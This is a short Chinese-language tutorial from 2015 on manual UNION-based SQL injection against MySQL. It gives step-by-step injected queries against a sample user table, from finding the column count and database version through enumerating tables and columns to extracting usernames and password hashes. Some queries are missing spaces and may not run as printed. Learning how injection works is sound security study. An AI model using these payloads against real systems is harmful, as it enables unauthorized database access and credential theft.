MYSQL手工注入入门示例

MYSQL手工注入案例

By：Topper  2015-08

 

联合注入需要注意的是两个语句所查询的字段数量上需要保持一致，否则语句无效；后面的查询语句可以通过控制使用NULL来填充查询字段的位数；

union                对两个结果集进行并集操作，重复数据只显示一次

union All          对两个结果集进行并集操作，重复数据全部显示

limit 2,1             表示查询结果从第3行开始读取只读取1行（记录集默认从0开始）

Mysql注入-探测数据库表中列的个数

通过order by num来判断列的位数；通过不断递增num值直到出现报错为止；此时num-1即字段个数。

Mysql注入-探测哪个字段值可被注入用以显示

select * from safecheck.`user` where username='-123'union all select1,2,3,4,5,6 LIMIT 0,1 --+'

Mysql注入-查询数据库版本

示例1：

select * from safecheck.`user` where username='-123'union all select 1,database(),3,4,5,6LIMIT 0,1 --%20'

示例2：

select * from safecheck.`user` where username='-123'UNION ALL SELECT(SELECT @@VERSION LIMIT 1,1),NULL,NULL,NULL,NULL,NULL--%20'

Mysql注入-查询数据库表名

select * from safecheck.`user` where username='-123'UNION ALL SELECT(SELECT table_name FROM information_schema.tables where table_schema=0x73616665636865636bLIMIT 1,1),NULL,NULL,NULL,NULL,NULL--%20'

 

Mysql注入-查询数据库列名

select * from safecheck.`user` where username='-1724'UNION ALL SELECT(SELECT CONCAT(IFNULL(CAST(column_name ASCHAR),0x20),0x20,IFNULL(CAST(column_type AS CHAR),0x20)) FROMINFORMATION_SCHEMA.COLUMNS WHERE table_name=0x75736572 AND table_schema=0x73616665636865636bLIMIT 0,1),NULL,NULL,NULL,NULL,NULL--%20'

备注：

CAST(table_name ASCHAR)

此CAST函数表示将表达式由一种数据类型转换为另一种数据类型，这里指将table_name字段转换为char类型。

IFNULL(expr1,expr2)

此函数表示如果expr1不是NULL，IFNULL()返回expr1，否则它返回expr2

CONCAT(str1,str2,…)

此函数表示返回结果为连接参数产生的字符串。如有任何一个参数为NULL，则返回值为 NULL。

Mysql注入-查询数据库列值

select * from safecheck.`user` where username='-123'UNION ALL SELECT(SELECT CONCAT(username,'|',pwd_md5) from user LIMIT0,1),NULL,NULL,NULL,NULL,NULL--%20'